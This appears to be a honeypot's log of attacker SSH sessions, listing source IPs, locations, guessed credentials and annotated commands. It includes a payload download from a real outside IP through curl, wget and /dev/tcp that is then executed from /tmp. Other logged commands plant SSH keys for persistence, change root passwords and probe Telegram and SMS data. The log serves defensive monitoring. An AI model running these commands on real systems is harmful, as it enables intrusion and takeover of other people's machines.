$ nohup $SHELL -c "curl http://202.21.121.216:8804/linux -o /tmp/hNy3QE85cG; if [ ! -f /tmp/hNy3QE85cG ]; then wget http://202.21.121.216:8804/linux -O /tmp/hNy3QE85cG; fi; if [ ! -f /tmp/hNy3QE85cG ]; then exec 6<>/dev/tcp/202.21.121.216/8804 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/hNy3QE85cG ; chmod +x /tmp/hNy3QE85cG && /tmp/hNy3QE85cG Iu7duzcHPYMuizwQKrvf+VlV+ti4JB07lDKOPgcxssL2V1n43Ls0ECyLMYMiGD2zwv1WTfzcuT4fPIswjywYNb/C/FBS4Nu8Khg7jDqMPBg0v8z9Wk3326Q2HTqUMog7Ez283f1DV/nCvTIHPogxlDgZPrzb/FND/9u8KhE0lDmUPRkysNX2VFTu3bs2Bz2INJQ/Giqy2/RVU//YvSQRIogxgiIbNr/C+lFZ+Ny7NBgsiDKKIhg8usL3Wk353bAyGT2KNZo+GTak3v9NUvzdpDYYOoA4gjwdJL7V4FFQ/MK4NBgiiDCKNhAxvd3uUlP4wrs2Bz2MMZQ9Hz2w2/hbUe7duDUHOIsujjwHNbve9FtR/d2qNx8iiDWJIhAqvdT0VVX91KoxECKJNpQ0GSq72fdZVfvVviQaNZQ5giIYNbjC/FNR9NS5MRwsjjeUNB8qu9v4TVH+1bAyGT2JM5o9GTKk3f1NUf3CuzAQNow4izUJNb3d4FBV4N6+Mwc9jzSANB42v8z6VE3/3rsqGDSOLos/ET6z1PxQQ//ZvSobPJQxjzUHMb7W9lpT+8y+Mwc+jjOUPRszpN36U1n43LswGiyOOZQ+Gjek3vpbTfvbsDIfP4MgizQZKr3a4FJQ+cK5MxM6ijGJOQk1u9jgUVH5wrsxHyKCOIA6HjayzPpUTfzfsyoYO4suiz0RPr3Z+FZD+NykNhk5lDKINAc1vNb3Vlv8zLsxGyKJMpQ+HTSk3fhUWffZvzIJNJQyizQHNrjZ4FdR9Nq6NRk9olgbVYLuBsacfArHht/3lsGisw==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/hNy3QE85cG && /tmp/hNy3QE85cG Iu7duzcHPYMuizwQKrvf+VlV+ti4JB07lDKOPgcxssL2V1n43Ls0ECyLMYMiGD2zwv1WTfzcuT4fPIswjywYNb/C/FBS4Nu8Khg7jDqMPBg0v8z9Wk3326Q2HTqUMog7Ez283f1DV/nCvTIHPogxlDgZPrzb/FND/9u8KhE0lDmUPRkysNX2VFTu3bs2Bz2INJQ/Giqy2/RVU//YvSQRIogxgiIbNr/C+lFZ+Ny7NBgsiDKKIhg8usL3Wk353bAyGT2KNZo+GTak3v9NUvzdpDYYOoA4gjwdJL7V4FFQ/MK4NBgiiDCKNhAxvd3uUlP4wrs2Bz2MMZQ9Hz2w2/hbUe7duDUHOIsujjwHNbve9FtR/d2qNx8iiDWJIhAqvdT0VVX91KoxECKJNpQ0GSq72fdZVfvVviQaNZQ5giIYNbjC/FNR9NS5MRwsjjeUNB8qu9v4TVH+1bAyGT2JM5o9GTKk3f1NUf3CuzAQNow4izUJNb3d4FBV4N6+Mwc9jzSANB42v8z6VE3/3rsqGDSOLos/ET6z1PxQQ//ZvSobPJQxjzUHMb7W9lpT+8y+Mwc+jjOUPRszpN36U1n43LswGiyOOZQ+Gjek3vpbTfvbsDIfP4MgizQZKr3a4FJQ+cK5MxM6ijGJOQk1u9jgUVH5wrsxHyKCOIA6HjayzPpUTfzfsyoYO4suiz0RPr3Z+FZD+NykNhk5lDKINAc1vNb3Vlv8zLsxGyKJMpQ+HTSk3fhUWffZvzIJNJQyizQHNrjZ4FdR9Nq6NRk9olgbVYLuBsacfArHht/3lsGisw==" &

↳ payload download from C2

$ head -c 3716336 > /tmp/SWV4CQQL9j

↳ execute from /tmp

$ echo 1 > /dev/null && cat /bin/echoQtd#0000

$ >A@/`'8

🎭 midnight_lantern_root_67 (121.41.237.67) — Hangzhou, China · 1 session · 1 cmd

2026-05-10 03:20 EDT · as root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 aloof_nasi_root (47.250.59.60) — Kuala Lumpur, Malaysia · 1 session · 1 cmd

2026-05-10 02:54 EDT · as root/1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 savage_dragon (120.26.200.10) — Hangzhou, China · 1 session · 1 cmd

2026-05-09 22:34 EDT · as deploy/deploy123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 scrappy_wraith_db (213.154.77.61) — Dakar, Senegal · 1 session · 2 cmds

2026-05-09 21:36 EDT · as oracle/oracle9i

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 silent_silk_root_107 (8.130.148.107) — Beijing, China · 1 session · 1 cmd

2026-05-09 20:44 EDT · as admin/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 spectral_shadow_root_254 (107.189.13.254) — Luxembourg, Luxembourg · 1 session · 3 cmds

2026-05-09 20:02 EDT · as admin/admin

CPU profiling → CPU profiling → ?

$ echo "bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778371350188143739" | sh

↳ CPU profiling

$ bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778371350188143739

↳ CPU profiling

$

🎭 placid_spice_root (164.164.197.148) — Bengaluru, India · 2 sessions · 4 cmds

2026-05-08 16:54 EDT · as oracle/Oracle2022, oracle/zaq1xsw2

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 scrappy_liberty_root (69.74.29.21) — New York, United States · 2 sessions · 21 cmds

2026-05-09 17:47 EDT · as oracle/manager, root/toor

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:hEYfOPBouzNn"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 hollow_cowboy_root_12 (47.185.144.12) — Flower Mound, United States · 1 session · 5 cmds

2026-05-09 17:57 EDT · as root/root

ip → network mapping → OS/kernel identification → CPU profiling → ps

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

🎭 arctic_panda_root (14.103.104.162) — Beijing, China · 1 session · 1 cmd

2026-05-09 17:48 EDT · as tomcat/tomcat

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 crimson_kopi_root (43.160.253.60) — Singapore, Singapore · 1 session · 1 cmd

2026-05-09 14:24 EDT · as deploy/deploy

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 baroque_static_root (185.71.233.73) — Hořovice, Czechia · 18 sessions · 66 cmds

2026-05-09 06:15 EDT · as admin/admin, root/root

apt-get → sudo → root → ? → admin (repeated apt-get 19x)

$ apt-get update -y ×18

$ sudo apt-get update -y ×18

$ root ×16

$ ? ×4

$ ×8

$ admin ×2

🎭 stoic_oasis_root (193.123.90.235) — Dubai, United Arab Emirates · 3 sessions · 6 cmds

2026-05-09 11:14 EDT · as oracle/Abcd1234, oracle/founderbn, oracle/passwd

file attribute tampering → SSH key persistence (repeated file attribute tampering 3x)

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3

↳ SSH key persistence

🎭 aloof_merlion_root_227 (43.134.182.227) — Singapore, Singapore · 1 session · 1 cmd

2026-05-09 11:17 EDT · as user/password

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 gnarled_junk_root_54 (103.231.14.54) — San Po Kong, Hong Kong · 2 sessions · 4 cmds

2026-05-09 10:37 EDT · as oracle/or, oracle/redhat

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 murky_liberty_root (34.135.200.178) — Council Bluffs, United States · 1 session · 2 cmds

2026-05-09 10:11 EDT · as oracle/123456789

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 derelict_mekong_root (171.244.143.209) — Hanoi, Vietnam · 1 session · 2 cmds

2026-05-09 10:04 EDT · as oracle/Oracle

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 clandestine_junk_root (47.83.146.86) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-05-09 09:54 EDT · as oracle/test1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 lurking_viking_root (31.208.22.146) — Gothenburg, Sweden · 1 session · 2 cmds

2026-05-09 08:14 EDT · as oracle/1234

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 unhinged_star_root (107.150.103.12) — Los Angeles, United States · 1 session · 2 cmds

2026-05-09 08:05 EDT · as oracle/oracle2019

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rabid_void_root (37.27.214.143) — Helsinki, Finland · 16 sessions · 16 cmds

2026-05-09 04:09 EDT · as admin/admin, admin/password, deploy/deploy123

Ran uname 32x across 32 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×16

🎭 weary_wok_sol (120.26.32.101) — Hangzhou, China · 1 session · 1 cmd

2026-05-09 03:48 EDT · as user/user

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 murky_phantom_root_49 (181.233.152.49) — San Isidro, Peru · 3 sessions · 42 cmds

2026-05-08 17:30 EDT · as oracle/12345, oracle/1qaz2wsx#EDC, oracle/zaq1xsw2

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2

↳ CPU profiling

$ echo -e "zaq1xsw2\nW4bsjTtXpfpR\nW4bsjTtXpfpR"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "zaq1xsw2\nW4bsjTtXpfpR\nW4bsjTtXpfpR\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2

↳ persistence setup

$ w ×2

↳ logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2

↳ CPU profiling

$ top ×2

↳ process monitoring

$ uname ×2

↳ OS identification

$ uname -a ×2

↳ OS/kernel identification

$ whoami ×2

↳ privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "12345\nIasDhrfSIqH6\nIasDhrfSIqH6"|passwd|bash

$ echo "12345\nIasDhrfSIqH6\nIasDhrfSIqH6\n"|passwd

🎭 rogue_bibimbap_root (220.74.57.165) — Uiwang, South Korea · 1 session · 9 cmds

2026-05-09 03:04 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 grumpy_muay_root (147.50.103.212) — Phaya Thai, Thailand · 2 sessions · 4 cmds

2026-05-09 01:42 EDT · as oracle/Hello123, oracle/P@ssw0rd

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 vapor_junk_root_24 (47.86.104.24) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-05-09 00:24 EDT · as root/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 unhinged_bike_sol (2.57.122.210) — Amsterdam, The Netherlands · 11 sessions · 11 cmds

2026-05-08 22:17 EDT · as firedancer/firedancer, raydium/raydium, sol/123

Ran uname 132x across 132 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×11

↳ obfuscated system check

🎭 hollow_static_root (138.84.53.240) — Bogota, Colombia · 3 sessions · 6 cmds

2026-05-08 23:54 EDT · as admin/admin, oracle/Oracle123$, oracle/oracle_123

file attribute tampering → SSH key persistence (repeated file attribute tampering 3x)

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3

↳ SSH key persistence

🎭 velvet_bibimbap_root (47.80.59.241) — Seoul, South Korea · 1 session · 1 cmd

2026-05-08 23:27 EDT · as pi/raspberry

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 glitchy_gouda_root (45.156.87.99) — Eygelshoven, The Netherlands · 70 sessions · 70 cmds

2026-05-06 21:17 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×70

🎭 grumpy_panda_root_60 (180.76.245.60) — Beijing, China · 1 session · 2 cmds

2026-05-08 20:57 EDT · as oracle/admin123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 jittery_samba_root (201.63.223.138) — São Paulo, Brazil · 1 session · 2 cmds

2026-05-08 20:37 EDT · as oracle/admin123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 clandestine_silk (121.43.75.36) — Hangzhou, China · 1 session · 1 cmd

2026-05-08 20:34 EDT · as tomcat/tomcat

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 brisk_jade_root (125.39.93.73) — Wanghailou, China · 1 session · 2 cmds

2026-05-08 20:16 EDT · as oracle/oracle123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 midnight_lantern_root (106.38.205.224) — Beijing, China · 1 session · 2 cmds

2026-05-08 20:10 EDT · as oracle/oracle123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

